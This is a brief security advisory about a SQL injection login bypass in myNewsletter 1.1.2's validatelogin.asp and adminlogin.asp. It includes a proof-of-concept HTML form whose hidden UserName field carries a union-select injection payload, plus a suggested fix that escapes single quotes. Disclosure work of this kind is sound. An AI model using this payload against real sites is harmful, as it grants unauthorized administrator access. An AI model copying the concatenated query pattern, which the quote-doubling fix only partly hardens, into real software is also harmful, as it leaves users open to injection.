Discussion :
At parameter named 'UserName' in "validatelogin.asp" or "adminlogin.asp", Attacker can enter SQL command to login to the system.

Proof of Concepts:
<html><center><h1>KAPDA myNewsletter 1.1.2 Login bypass PoC</h1><br>change action in source and then submit
</center><form name="adminLogin" method="post" action="">
<input type="hidden" name="UserName" value="<!--'union select 1 from Newsletter_Admin where ''='">
<input type="hidden" name="Password" value="1">
<center><br><input type="submit" name="Submit" value="Login"></center><br><br>

Nothing yet by vendor .

Our solution :

in 'validatelogin.asp' :

function validateLogin(theUserName, thePassword)
sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'"

change to this :

function validateLogin(theUserName, thePassword)
theUserName = replace(theUserName,"'","''")
sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'"
